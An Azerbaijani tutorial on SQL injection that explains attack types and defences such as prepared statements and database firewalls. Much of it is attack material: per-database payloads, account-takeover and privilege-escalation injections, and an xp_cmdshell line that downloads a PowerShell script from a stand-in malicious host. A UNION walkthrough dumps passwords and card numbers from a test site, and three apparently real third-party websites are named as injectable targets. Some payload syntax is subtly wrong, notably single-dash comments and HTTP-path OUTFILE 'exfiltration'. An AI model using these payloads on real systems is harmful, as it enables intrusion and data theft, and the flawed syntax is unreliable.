SQL injection nədir?

Müəlliflər: Verdiyev Asim və Kərimli Coşqun

Açar sözlər: Whitelisting, Injection,Stored, hacker, header, input, backend, vulnerability, database

SQL injection nədir?

SQL Injection zəifliyi MySQL, Oracle, SQL Server və ya başqaları kimi SQL verilənlər bazasından istifadə edən hər hansı vebsayt və ya veb proqrama təsir göstərə bilər. Cinayətkarlar ondan həssas məlumatlarınıza icazəsiz giriş əldə etmək üçün istifadə edə bilər: müştəri məlumatları, şəxsi məlumatlar, bizness sirləri və s. SQL Injection hücumları ən qədim, ən çox yayılmış və ən təhlükəli veb proqram zəifliklərindən biridir. OWASP təşkilatı (Open Web Application Security Project) OWASP Top 10 2017 siyahısında Injection təbəqəsini 1’ci yerdə qeyd etmişdir.

DB Təhlükəsizliyi nədir?

Verilənlər bazasının təhlükəsizliyi verilənlər bazası məxfiliyini, bütövlüyünü və əlçatanlığını yaratmaq və qorumaq üçün nəzərdə tutulmuş alətlər, nəzarət vasitələri və tədbirlər çeşidinə aiddir.

Verilənlər bazasının təhlükəsizliyi aşağıdakıları əhatə etməli və qorumalıdır:

• Verilənlər bazasındakı məlumatlar

• Verilənlər bazası idarəetmə sistemi (DBMS)

• Fiziki verilənlər bazası serveri yaxud virtual verilənlər bazası serveri və əsas avadanlıq

• Verilənlər bazasına daxil olmaq üçün istifadə olunan hesablama yaxud şəbəkə infrastrukturu.

Verilənlər bazasının təhlükəsizliyi informasiya təhlükəsizliyi texnologiyaları və təcrübələrinin bütün aspektlərini əhatə edən mürəkkəb və çətin bir işdir. Bu da təbii olaraq verilənlər bazası istifadəsinə ziddir. Verilənlər bazası nə qədər əlçatan və istifadəyə yararlı olarsa, o, təhlükəsizlik təhdidlərinə qarşı daha həssasdır; verilənlər bazası təhlükələrə qarşı nə qədər toxunulmazdırsa, ona daxil olmaq və istifadə etmək bir o qədər də çətindir olur.

Uğurlu SQL injection hücumunun təsiri nədir?

Uğurlu SQL injection hücumu parollar, kredit kartı detalları və ya şəxsi istifadəçi məlumatı kimi həssas məlumatlara icazəsiz girişlə nəticələnə bilər. Son illərdə bir çox yüksək profilli məlumat pozuntuları SQL injection hücumlarının nəticəsi olub, nüfuzun zədələnməsinə və tənzimləyici cərimələrə səbəb olub. Bəzi hallarda təşkilatın sistemlərinə davamlı backdoor əldə edə bilər ki, bu da uzun müddət diqqətdən kənarda qala biləcək uzunmüddətli kompromislərə gətirib çıxarır.

SQL Injection hücumlarının qarşısının alınmasının əhəmiyyəti

SQL Injection hücumları SQL verilənlər bazasına əsaslanan istənilən sistemin təhlükəsizliyinə əhəmiyyətli təhlükədir. Onlar ən çox yayılmış və dağıdıcı hücum növlərindən biridir və onları aşkar etmək və qarşısını almaq çətin ola bilər. Uğurlu SQL Injection hücumunun nəticələri ağır ola bilər və məlumatların itirilməsi, maliyyə itkiləri, hüquqi öhdəliklər və təşkilatın reputasiyasının zədələnməsi daxil ola bilər.

SQL Injection-ın qarşısının alınması verilənlər bazalarında saxlanılan məlumatların təhlükəsizliyini təmin etmək, icazəsiz girişdən qorumaq və sistemin bütövlüyünü qorumaq üçün vacibdir. Buna girişin yoxlanılması və sanitarizasiyası, parametrləşdirilmiş sorğuların istifadəsi və müntəzəm təhlükəsizlik auditləri və yeniləmələri kimi müxtəlif tədbirlər vasitəsilə nail olmaq olar.

Daxiletmənin yoxlanılması və sanitarizasiyası istifadəçi daxiletməsinin etibarlı olduğunu və heç bir zərərli kodu ehtiva etmədiyini yoxlamağı əhatə edir. Bu, zərərli kodun məlum nümunələrini yoxlamaq və verilənlər bazası sorğusunda istifadə edilməmişdən əvvəl onları silməklə və ya girişdən qaçmaqla edilə bilər.

Parametrləşdirilmiş sorğular sorğuya istifadəçi daxiletməsini birbaşa daxil etmək əvəzinə SQL ifadələrində yer tutucuların istifadəsini nəzərdə tutur. Bu, istifadəçi daxiletməsinin icra edilə bilən kod deyil, məlumat kimi qəbul edilməsini təmin etməklə SQL Injection-ın qarşısını almağa kömək edir.

Müntəzəm təhlükəsizlik yoxlamaları və yeniləmələr, həmçinin tətbiq proqram təminatındakı boşluqları hücumçular tərəfindən istifadə edilməzdən əvvəl müəyyən etmək və yamaq üçün vacibdir. Buraya proqram təminatının ən son təhlükəsizlik yamaqları ilə yenilənməsi və potensial zəifliklərin müəyyən edilməsi və aradan qaldırılması üçün müntəzəm təhlükəsizlik qiymətləndirmələrinin aparılması daxildir.

Ümumiyyətlə, SQL Injection hücumlarının qarşısının alınması SQL verilənlər bazalarında saxlanılan məlumatların təhlükəsizliyini və bütövlüyünü təmin etmək üçün vacibdir. Daxiletmənin yoxlanılması və sanitarlaşdırılması üçün ən yaxşı təcrübələri tətbiq etməklə, parametrləşdirilmiş sorğulardan istifadə etməklə və müntəzəm təhlükəsizlik yoxlamaları və yeniləmələri həyata keçirməklə təşkilatlar sistemləri və məlumatları üçün bu ciddi təhlükədən qorunmağa kömək edə bilər.

SQLi hücumunun növləri:

Error based

Error based SQL injectionda hacker verilənlər bazası haqqında həssas məlumatları təmin edən error mesajını almaq məqsədi ilə zərərli sorğu daxil etməyə çalışır.

Hacler input sahəsində istənilən növ SQL əmrini sınaya bilər — məsələn, tək dırnaq, qoşa dırnaq və ya AND, OR, NOT kimi SQL operatorları.

Bu nümunə istifadəçidən parametr qəbul edən URL-i göstərir, bu halda tələb olunan element:

https://example.com/index.php?item=123

Parametr dəyərinin sonuna hacker dırnaq əlavə edir:

https://example.com/index.php?name=123'

Əgər hacker belə bir error alsa, deməli hücum uğurlu olub.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''VALUE''.

Error mesajı hacker’i belə məlumatlarla təmin edə bilər.

· İstifadə olunan database — MySQL

· Errora səbəb olan şeyi — single quote

· Errora səbəb olan dəyərin sorğudakı yeri

Təcrübəli hacler üçün bu, serverin verilənlər bazasına etibarlı şəkildə qoşulduğunu görmək və zərər verə biləcək əlavə SQL injection hücumlarını planlaşdırmaq üçün kifayətdir.

Təcavüzkar həmçinin input parametrində bir çox SQL sintaksisi variantını sınamaq və hansının erroru qaytardığını görmək üçün grep kimi bir əmrdən istifadə edərək bunu asanlıqla avtomatlaşdıra bilər.

Real nümunə:

· http://umba.am/eng/search.php?q=%27&submit=%C2%A0

· https://pharmacy.am/?inc=prep&ID=30545%27

· http://www.cit.am/hardware/index.php?lang=en&go=hw_product&id=1%27

UNION Based

Union SQL injection’u hackerlara verilənlər bazasından həssas məlumatları çıxarmağa imkan verir. Bu, təhlükə aktyorlarına orijinal sorğu ilə qaytarılan nəticələri genişləndirməyə imkan verir.

UNION SQL inyeksiyası verilənlər bazası məzmununun çıxarılması ilə nəticələnə bilər və hədəf serverdə əmr icrasını yerinə yetirmək üçün istifadə edilə bilər. Bununla belə, hackerlar UNION operatorundan yalnız onların zərərli sorğusu orijinal sorğu ilə eyni struktura, o cümlədən sütunların sayı və məlumat növünə malik olduqda istifadə edə bilər.

Error əsaslı SQLi — haclerlar SQL error mesajları vasitəsilə verilənlər bazası, onun konfiqurasiyası, strukturu və ya məzmunu haqqında həssas məlumatları əldə etməyə çalışır.

Union’a əsaslanan SQLi — hackerlar yaxşı SQL ifadəsini zərərli bəyanatla birləşdirmək üçün UNION operatorundan istifadə edir. Zərərli sorğu orijinal sorğu ilə eyni sütun sayından və məlumat tiplərindən istifadə etməlidir. Zəif verilənlər bazası Union ilə yazılmış sorğunu qəbul edir və icra edir.

GET http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1, 2, 3 HTTP/1.1 Host: testphp.vulnweb.com
GET http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,pass,cc FROM users WHERE uname='test' HTTP/1.1 Host: testphp.vulnweb.com

Boolean-Based

Boolean əsaslı SQL inyeksiya hücumlarını aşkar etmək digər SQL inyeksiya hücumlarına nisbətən daha çətin ola bilər, çünki onlar adətən error mesajları və ya hücumun digər aşkar edilə biləcək əlamətlərini yaratmırlar. Bununla belə, istifadəçi input’nu düzgün şəkildə sanitizasiya etmək və veb tətbiqlərində parametrləşdirilmiş sorğulardan istifadə etməklə onların qarşısını almaq olar.

Hacker sorğunu həmişə müvafiq olaraq doğru və ya yanlış qiymətləndirməyə məcbur etmək üçün sorğuda parametr dəyərinin sonuna OR 1=1 və ya AND 1=0 ifadəsi əlavə etmək kimi müxtəlif üsullardan istifadə edə bilər. Bu, verilənlər bazası strukturu haqqında məlumatları ortaya çıxara bilər və ya hacker’in icazəsiz SQL sorğularını yerinə yetirməsinə icazə verə bilər.

SELECT * FROM products WHERE id = product_id

42 AND 1=1

SELECT * FROM products WHERE id = 42 AND 1=1
SELECT * FROM products WHERE id = 42 AND 1=0

MSSQL

Zəifliyin aşkarlanması üçün payload:

' OR 1=1 -

Zəifliyin exploit olunması üçün:

'; EXEC xp_cmdshell('ping 127.0.0.1') -

MySQL

Detekt etmək üçün:

' OR 'x'='x

Exploit üçün:

'; SELECT LOAD_FILE('/etc/passwd') -

Oracle

Detetkt etmek üçün:

' OR 1=1 -

Exploit etmek üçün:

'; DBMS_SCHEDULER.CREATE_JOB(NULL, 'BEGIN DBMS_PIPE.PURGE(DBMS_PIPE.RECEIVE_MESSAGE(''x'',5)); END;', NULL, SYSTIMESTAMP) -

PostgreSQL

Detekt etmək üçün:

' OR true -

Exploit etmek üçün:

'; SELECT pg_sleep(10); SELECT * FROM pg_shadow; -

Time based

Time based SQL inyeksiyası, respons-da gecikmə ilə nəticələnən veb tətbiqinin SQL sorğusuna zərərli kodun yeridilməsi ilə həyata keçirilən SQL inyeksiya hücumunun bir növüdür. Bu, verilənlər bazası idarəetmə sisteminin sorğunu emal etmək üçün müəyyən vaxt aparacağından istifadə etməklə həyata keçirilir və bu prosesin daha uzun sürməsinə səbəb olacaq kodu daxil etməklə təcavüzkarlar verilənlər bazası haqqında məlumat çıxara və zəifliklərdən istifadə edə bilərlər.

MSSQL

' WAITFOR DELAY '0:0:5' - 

' OR 1=1; WAITFOR DELAY '0:0:5' -

Oracle

' AND DBMS_LOCK.SLEEP(5) - 

' OR 1=1; DBMS_LOCK.SLEEP(5) -

PostgreSQL

' AND pg_sleep(5) - 

' OR 1=1; pg_sleep(5) -

Out-of-band SQL injection

Out-of-band SQL injectionu çox yaygın deyil, çünki o, veb proqram tərəfindən istifadə edilən verilənlər bazası serverində aktivləşdirilən funksiyalardan asılıdır. Out-of-band SQL Injectionu təcavüzkarın hücumu başlatmaq və nəticələr toplamaq üçün eyni kanaldan istifadə edə bilmədiyi zaman baş verir.

Out-of-band SQL inyeksiyası yalnız istifadə etdiyiniz serverdə DNS və ya HTTP sorğularını işə salan əmrlərə malik olduqda mümkündür. Bununla belə, bütün məşhur SQL serverlərində belədir.

1. DNS əsaslı out-of-band SQL incetionu: Bu tip hücumda hackerlar nəzarət etdiyi domenə DNS axtarışını tetikleyen sorğu yeridir. Təcavüzkar daha sonra DNS sorğusu ilə qaytarılan məlumatları çıxarmaq üçün DNS server qeydlərinə nəzarət edə bilər.

SELECT * FROM users WHERE name = 'admin' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '\\\\YOUR-DOMAIN.COM\\results\\dump.txt'

2. HTTP-əsaslı out-of-band SQL injection: Bu tip hücumda hackerlar nəzarət etdiyi serverə HTTP sorğusunu tetikleyen sorğu yeridir. Təcavüzkar daha sonra HTTP sorğusu ilə qaytarılan məlumatları çıxarmaq üçün server qeydlərinə nəzarət edə bilər.

SELECT * FROM users WHERE name = 'admin' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE 'http://YOUR-SERVER.COM/results/dump.txt'

3. SMTP əsaslı out-of-band SQL injection: Bu tip hücumda təcavüzkar nəzarət etdiyi e-poçt serverinə göndəriləcək e-poçtu tetikleyen sorğu yeridir. Təcavüzkar daha sonra e-poçtun qaytardığı məlumatları çıxarmaq üçün e-poçt serverinin qeydlərinə nəzarət edə bilər..

SELECT * FROM users WHERE name = 'admin' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '/var/spool/mail/[email protected]'

Reports:

https://hackerone.com/reports/297478

https://hackerone.com/reports/295841

https://infosecwriteups.com/first-bug-bounty-ever-sql-injection-da4e64e30851

https://infosecwriteups.com/how-i-found-multiple-sql-injections-in-5-minutes-in-bug-bounty-40155964c498

https://xthemo.medium.com/how-can-i-get-sql-injection-b8337c2c2bef

SQL injection attack vektorları

SQL Injection hücumları müxtəlif hücum vektorları vasitəsilə baş verə bilər. SQL Injection boşluqlarından istifadə edilə biləcək bəzi ümumi yollar bunlardır:

İstifadəçi girişi: Bu, SQL Injection üçün ən çox yayılmış hücum vektorudur. Attacker’lar proqram verilənlər bazasına zərərli SQL kodu yeritmək üçün giriş formaları, axtarış qutuları və şərh bölmələri kimi istifadəçi daxiletmə sahələrini manipulyasiya edə bilər.

Sorğu sətirinin (Query String) parametrləri: Təcavüzkarlar SQL kodunu tətbiqin verilənlər bazasına daxil etmək üçün URL-in sorğu sətirindəki parametrləri manipulyasiya edə bilər.

HTTP headerları: Attackerlar tətbiqin verilənlər bazasına zərərli SQL kodu daxil etmək üçün kukilər və ya istifadəçi agentləri kimi HTTP headerlarından istifadə edə bilər.

User-Agent sətirinin və firewall’ın IP ünvanının qeyd edilməsi.

MySQL root istifadəçilərinin verilənlər bazasından hash-i tutmağa çalışaq.

Gizli bölmələr(Hidden Fields): HTML formalarındakı gizli sahələr həmçinin zərərli SQL kodunu daxil etmək üçün manipulyasiya edilə bilər.

Saxlanan prosedurlar: Əgər proqram öz verilənlər bazası ilə qarşılıqlı əlaqə yaratmaq üçün saxlanılan prosedurlardan istifadə edirsə, zərərli SQL kodunu yeritmək üçün saxlanılan prosedura ötürülən parametrləri manipulyasiya etmək olar.

İkinci dərəcəli injection: Bu növ inyeksiya SQL kodunun verilənlər bazasına yeridilməsini nəzərdə tutur və sonradan konkret şərt yerinə yetirilənədək yerinə yetirilmir.

Bu hücum vektorları SQL Injection zəifliklərindən necə istifadə edə biləcəyinə dair yalnız bir neçə nümunədir. Qeyd etmək vacibdir ki, bu boşluqlardan istifadə etmək üçün yeni yollar tapılır, buna görə də SQL Injection-ın qarşısını almaq üçün ən yaxşı təcrübələri tətbiq etmək və hücum riskini azaltmaq üçün proqram təminatını mütəmadi olaraq yeniləmək və patch’lər ə daim nəzarət etmək vacibdir.

Qabaqcıl SQL Injection müdafiəsi qarşısının alınması və aşkarlanması üsulları özündə çoxqatlı yanaşma tələb edir:

Parametrləşdirilmiş sorğular: Parametrləşdirilmiş sorğular sorğuya istifadəçi daxiletməsini birbaşa daxil etmək əvəzinə SQL ifadələrində yer tutuculardan istifadə etməklə SQL Enjeksiyonunun qarşısını almağa kömək edə bilər. Bu, istifadəçi daxiletməsinin icra edilə bilən kod deyil, məlumat kimi qəbul edilməsini təmin etməyə kömək edir. Bu, Java Database Connectivity (JDBC), Python DB-API və ya PHP Data Objects (PDO) kimi verilənlər bazasına giriş API-lərindən istifadə etməklə kodda həyata keçirilə bilər.

Saxlanılan prosedurlar: Saxlanan prosedurlar verilənlər bazası prosedurunda SQL məntiqini əhatə etməklə SQL inyeksiyasının qarşısını almağa kömək edə bilər. Saxlanılan prosedurlar əvvəlcədən tərtib edilmiş verilənlər bazası obyektləridir və tətbiqin hücum səthini azaltmaqla SQL Injection-ın qarşısını almağa kömək edir. Saxlanılan prosedurlar parametrləşdirilmiş sorğularla birlikdə istifadə edilə bilər.

Whitelist-ə Daxil Etmənin Təsdiqlənməsi: Ağ Siyahıya daxil edilmiş girişin yoxlanılması istifadəçi daxiletməsinin yalnız gözlənilən simvolları ehtiva etdiyini yoxlamaqdan ibarətdir. Bu, istifadəçi girişində xüsusi simvolların olub olmadığını yoxlamaq və uyğun gəlməyən daxiletməni rədd etməklə edilə bilər. Bu texnika SQL Injection-ın qarşısını almaq üçün qara siyahıya daxiletmənin yoxlanılmasına əlavə olaraq istifadə edilə bilər.

Database Firewall: Verilənlər bazası Firewall-ı verilənlər bazasına gedən və verilənlər bazasından gələn trafikə nəzarət edən və nəzarət edən təhlükəsizlik vasitəsidir. Verilənlər bazası firewall icazəsiz SQL sorğularını bloklamaq və təhlükəsizlik işçilərini potensial SQL Injection hücumları barədə xəbərdar etməklə SQL Injection-ın qarşısını almağa kömək edə bilər.

Intrusion Detection System (IDS): IDS, müdaxilə əlamətləri üçün şəbəkə trafikinə nəzarət edən təhlükəsizlik alətidir. IDS şübhəli nümunələr üçün SQL trafikini təhlil edərək və potensial hücumlar barədə təhlükəsizlik işçilərini xəbərdar etməklə SQL Injection hücumlarını aşkar etməyə kömək edə bilər.

Intrusion Prevention System (IPS): IPS, IDS-ə bənzəyən, lakin hücumların qarşısını almaq üçün avtomatlaşdırılmış tədbirlər görə bilən təhlükəsizlik vasitəsidir. IPS zərərli SQL trafikini bloklamaqla və təhlükəsizlik işçilərini potensial hücumlar barədə xəbərdar etməklə SQL Injection hücumlarının qarşısını almağa kömək edə bilər.

Verilənlər bazası firewall, IDS və IPS tətbiq etmək üçün müxtəlif alətlər mövcuddur. Bəzi məşhur açıq mənbə alətlərinə ModSecurity, Snort və Suricata daxildir. Kommersiya alətləri həmçinin IBM, McAfee və Palo Alto Networks kimi satıcılardan əldə edilə bilər.

Onuda qeyd etmək lazımdır ki, bu qabaqcıl SQL Injection müdafiə vasitələri hücumların qarşısını almağa və aşkar etməyə kömək edə bilsə də, onlar müntəzəm təhlükəsizlik auditləri, proqram yeniləmələri və giriş nəzarətləri kimi proqramların və verilənlər bazalarının təhlükəsizliyini təmin etmək üçün digər ən yaxşı təcrübələrlə birlikdə həyata keçirilməlidir.

SQL injection niyə baş verir?

SQL injection zəiflikləri, proqram SQL sorğularını yerinə yetirmək üçün istifadə etməzdən əvvəl istifadəçi inputunu düzgün şəkildə validasiya və ya sanitizasiya etmədikdə baş verir. Təcavüzkarlar bu boşluqdan zərərli SQL kodunu tətbiqin daxiletmə sahələrinə daxil etməklə istifadə edə bilər, sonra isə proqram özü bilmədən verilənlər bazası sorğusunun bir hissəsi kimi icra edir.

Məsələn, tutaq ki, bir proqram istifadəçilərə axtarış çubuğundan istifadə edərək adlarına görə məhsulları axtarmağa imkan verir. Tətbiq belə bir SQL sorğusu qura bilər:

SELECT * FROM products WHERE name = 'search_query';

Hacker axtarış sorğusuna ‘; DROP TABLE products; — , nəticədə SQL sorğusu:

SELECT * FROM products WHERE name = ''; DROP TABLE products; - ';
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($connection, $query);
?>

Bu kod SQL injectionuna qarşı vulnerable’dır, çünki o, istifadəçi inputunu lazımi təmizlənmə və ya parametrləşdirmə olmadan birbaşa SQL sorğusuna birləşdirir. Hacker potensial olaraq verilənlər bazasındakı məlumatları silmək və ya dəyişdirmək kimi zərərli SQL kodlarını daxil etmək üçün giriş dəyərlərini manipulyasiya edə bilər.

SQL inyeksiyasının qarşısını almaq üçün siz SQL kodunu istifadəçi girişindən ayıran və daxil edilmiş dəyərləri avtomatik təmizləyən hazırlanmış sorğulardan və ya parametrləşdirilmiş sorğulardan istifadə edə bilərsiniz. Hazırlanmış sorğulardan istifadə edərək yuxarıdakı kodun yenidən yazılması:

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username=? AND password=?";
$stmt = mysqli_prepare($connection, $query);
mysqli_stmt_bind_param($stmt, 'ss', $username, $password);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

SQL injection hücum ssenariləri.

1. SQLi vasitəsilə məlumatların çıxarılması

Ssenari: Tutaq ki, istifadəçilərə hesab yaratmaq üçün ad, ünvan və telefon nömrəsi kimi şəxsi məlumatlarını daxil etməyə imkan verən vebsayt var. Veb sayt bu məlumatları backend’də verilənlər bazasında saxlayır. Bununla belə, veb sayt SQL injection hücumlarına qarşı zəifdir.

' UNION SELECT name, address, phone_number FROM users - 

SELECT * FROM users WHERE name='' UNION SELECT name, address, phone_number FROM users - '

2. SQLi vasitəsilə verilənlərin manipulyasiyası

Ssenari: Tutaq ki, istifadəçilərin istifadəçi adlarını və şifrələrini daxil edə biləcəyi bir giriş forması olan bir veb sayt var. Veb sayt istifadəçi məlumatlarını saxlamaq üçün backend verilənlər bazasından istifadə edir. Bununla belə, veb sayt SQL inyeksiya hücumlarına qarşı həssasdır..

' OR 1=1; UPDATE users SET password='new_password' WHERE username='target_user' - 

SELECT * FROM users WHERE username='input_username' AND password='' OR 1=1; UPDATE users SET password='new_password' WHERE username='target_user' - '

3. Authentication bypass via SQLi

Ssenari: Tutaq ki, istifadəçilərin istifadəçi adlarını və şifrələrini daxil edə biləcəyi bir giriş forması olan bir veb sayt var. Veb sayt istifadəçi məlumatlarını saxlamaq üçün backend verilənlər bazasından istifadə edir. Bununla belə, veb sayt SQL injection hücumlarına qarşı zəifdir.

' OR 1=1 - 

SELECT * FROM users WHERE username='' OR 1=1 - ' AND password='' OR 1=1 -

4. Privilege Escalation via SQLi

Ssenari: Tutaq ki, istifadəçilərə öz hesablarını yaratmağa və idarə etməyə imkan verən vebsayt var. Veb-sayt istifadəçi məlumatlarını, o cümlədən onların imtiyazlarını saxlamaq üçün backend verilənlər bazasından istifadə edir. Bununla belə, veb sayt SQL injection hücumlarına qarşı zəifdir.

‘ OR 1=1; UPDATE users SET privileges=’admin’ WHERE username=’attacker_username’ —

SELECT * FROM users WHERE username=’input_username’ AND password=’’ OR 1=1; UPDATE users SET privileges=’admin’ WHERE username=’attacker_username’ — ‘

5. Remote code execution via SQLi

Ssenari: Tutaq ki, istifadəçi məlumatlarını saxlamaq və müəyyən server-side funksiyalarını yerinə yetirmək üçün backend verilənlər bazasından istifadə edən vebsayt var. Veb sayt SQL injection hücumlarına qarşı həssasdır.

'; EXEC xp_cmdshell 'powershell Invoke-WebRequest -Uri https://malicious.com/malware.ps1 -OutFile C:\malware.ps1'; -
SELECT * FROM products WHERE name=''; EXEC xp_cmdshell 'powershell Invoke-WebRequest -Uri https://malicious.com/malware.ps1 -OutFile C:\malware.ps1'; - '

SQL Injection zəifliklərini müəyyən etmək

1. Manual Testing

· Test payloadı yaratmaq

· Cavabı analiz etmək

2. Avtomatlaşdırılmış toollar

· Vulnerability scanners

· Static and Dynamic analiz

  1. Manual Testing

Aşağıdakı URL’i brovserdə açırıq.

http://testphp.vulnweb.com/artists.php?artist=1

Beləliklə biz “id=1″ üçün SQLi hücumunu test edəcəyik

Url’in sonuna ‘ əlavə edərək error almağa çalışırıq

testphp.vulnweb.com/artists.php?artist=1'

Aşağıdakı şəkildən də anladığınız kimi sayt SQLi hücumuna qarşı zəifdir.

İndi ORDER BY-dan istifadə edərək id=1 üçün artan və ya azalan qaydada rəqəmləri sıralayırıq.

http://testphp.vulnweb.com/artists.php?artist=1 order by 1

2, 3-cü və s. ORDER-ları bir-bir təkrar edirik.

http://testphp.vulnweb.com/artists.php?artist=1 order by 2
http://testphp.vulnweb.com/artists.php?artist=1 order by 4

Ekran görüntüsündən görə bilərsiniz ki, 4-ə qədər xəta almışıq ki, bu da o deməkdir ki, bu, cəmi üç sütundan ibarətdir.

Fərqli table-dan ifadə seçmək üçün UNİON BASED İnjection-dan istifadə edərək daxilə daha da enə bilərik.

http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3

İndi aşağıda verildiyi kimi artist=1 ilə artist=-1 əvəz edərək URL vasitəsilə verilənlər bazasına yanlış input ötürməyə çalışın:

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3

Gördüyünüz kimi, bu, qalan iki table-ın nəticəsini göstərir.

Verilənlər bazasının adını əldə etmək üçün növbəti sorğudan istifadə edin

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),3

Ekran görüntüsündən verilənlər bazasının adını oxuya bilərsiniz: acuart

Növbəti sorğu hazırkı istifadəçi adını, eləcə də verilənlər bazası sisteminin versiyasını çıxaracaq

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,version(),current_user()

Burada biz 5.1.73 0ubuntu0 10.04.1 versiyası və acuart@localhost cari istifadəçi kimi məlumatları gördük.

Növbəti sorğu vasitəsi ilə məlumat bazasının daxilində table adını gətirməyə çalışacağıq

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1

Ekran görüntüsündən də göründüyü kimi ilk tablonun adı artists-dir

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1

Eynilə, bir az dəyişikliklə başqa bir yable üçün eyni sorğunu təkrarlayın

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1

table 3-ün categ olduğunu tapdıq.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1

We got table 4: featured

Eyni şəkildə 4, 5, 6 və 7-ci table-da LIMIT-dəki rəqəmi dəyişməklə əldə edirik.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 7,1

7-ci table olan users-ı əldə etdik.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 8,1

Conkat funksiyası iki və ya daha çox stringin bir str-a çevirmək üçün istifadə.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

Concat funksiyası vasitəsilə gördüyünüz ekrandan bütün table adlarını müvəffəqiyyətlə database-dən əldə etdik.

Table 1: artist
Table 2: Carts
Table 3: Categ
Table 4: Featured
Table 5: Guestbook
Table 6: Pictures
Table 7: Product
Table 8: users

Böyük ehtimalla users table-dən bəzi vacib məlumatları əldə edə bilərik.Daha da iləri gedək. Yenidən bütün sütun adlarını geri almaq üçün users table-i üçün concat funksiyası istifadə edin.

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

Əla!! Table istifadəçilərinin içindən səkkiz sütun adının hamısını uğurla əldə edirik.

Sonra 4 sütun ilə davam edəcəyik, yəni uname, pass, e-poçtcc.

Aşağıdakı sorğunu URL vasitəsilə icra edərək users table-də uname-i seçmək üçün concat funksiyasından istifadə edin

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(uname),3 from users

Ekran görüntüsündən uname-i oxuya bilərsiniz: test

Aşağıdakı sorğunu URL vasitəsilə icra edərək users table-dən pass seçmək üçün concat funksiyasından istifadə edin

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(pass),3 from users

Ekran görüntüsündən şifrəni oxuya bilərsiniz: test

Aşağıdakı sorğunu URL vasitəsilə icra edərək table istifadəçilərindən cc (kredit kartı) seçmək üçün concat funksiyasından istifadə edin

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(cc),3 from users

Ekran görüntüsündən cc-i oxuya bilərsiniz: 1234–5678–2300–9000

Aşağıdakı sorğunu URL vasitəsilə icra edərək table istifadəçilərindən e-mail seçmək üçün concat funksiyasından istifadə edin

http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(email),3 from users

Ekran görüntüsündən e-maili oxuya bilərsiniz: scanner@probe.ly

2. Automated tools

Scanners

· sqlmap: Best open-source SQLi detection tool (Read more)

· Invicti: Best for security scanning visibility (Read more)

· Burp Scanner: Best for combining manual and automated testing (Read more)

· jSQL Injection: Best for Java developers (Read more)

· AppSpider: Best for Windows OS users (Read more)

· Acunetix: Best for scanning script-heavy web apps (Read more)

· Qualys WAS: Best for regular vulnerability assessments (Read more)

· HCL AppScan: Best for managing on-premise and cloud environment vulnerabilities (Read more)

· Imperva: Best for automated mitigation (Read more)

Static Analysis Tools

· SonarQube — SQLi zəifliklərini, eləcə də digər zəiflikləri müəyyən edə bilən statik kod analizi üçün geniş istifadə olunan açıq mənbəli tooldur.

· CodeSonar — SQLi zəiflikləri də daxil olmaqla, digər proqram zəiflikləri də aşkar edə bilən statik analiz tooludur.

· Checkmarx — SQLi zəifliklərini, eləcə də mənbə kodundakı digər təhlükəsizlik nöqsanlarını aşkar edə bilən kommersiya tooludur.

· Veracode — Statik kod analizini təmin edən və SQL inyeksiya zəifliklərini, eləcə də digər təhlükəsizlik risklərini aşkar edə bilən bulud əsaslı platformadır.

SQLMAP

SQLmap — veb tətbiqlərdə SQLi zəifliklərinin aşkar edilməsi və istismarı üçün istifadə olunan açıq mənbəli tooldur. Python dilində yazılıb və SQLi zəifliklərinin aşkar edilməsi və istismarı prosesinin avtomatlaşdırılması üçün nəzərdə tutulmuşdur.

SQLmap-dən istifadə etmək üçün bu addımları izləyin:

  1. SQLmap-i rəsmi saytından yükləyin və ya Git repository-i maşınınıza klonlayın.

  2. Terminalı açın və SQLmap-ın yükləndiyi yerə gedin.

  3. SQLi zəiflikləri üçün test etmək istədiyiniz hədəf veb saytı müəyyən edin.

  4. Arqument kimi hədəf veb-saytın URL-i ilə SQLmap toolunu işə salın.

Məsələn,:

python sqlmap.py -u https://www.example.com/index.php?id=1

4. SQLmap hədəf veb-saytda mövcud olan hər hansı bir SQLi zəifliyini avtomatik olaraq aşkar edərək və exploit edəcək.

  1. SQLmap öz skanını tamamladıqdan sonra aşkar etdiyi və istismar etdiyi hər hansı zəiflik haqqında hesabat təqdim edəcək.

  2. Bundan sonra SQLmap-ın təqdim etdiyi məlumatlardan istifadə edərək zəiflikləri manual yoxlaya və təsdiq edə bilərsiniz.

  3. Nəhayət, hər hansı bir potensial təhlükəsizlik pozuntusunun qarşısını almaq üçün SQLmap tərəfindən aşkar edilmiş SQLi zəifliklərini aradan qaldırmaqdır.

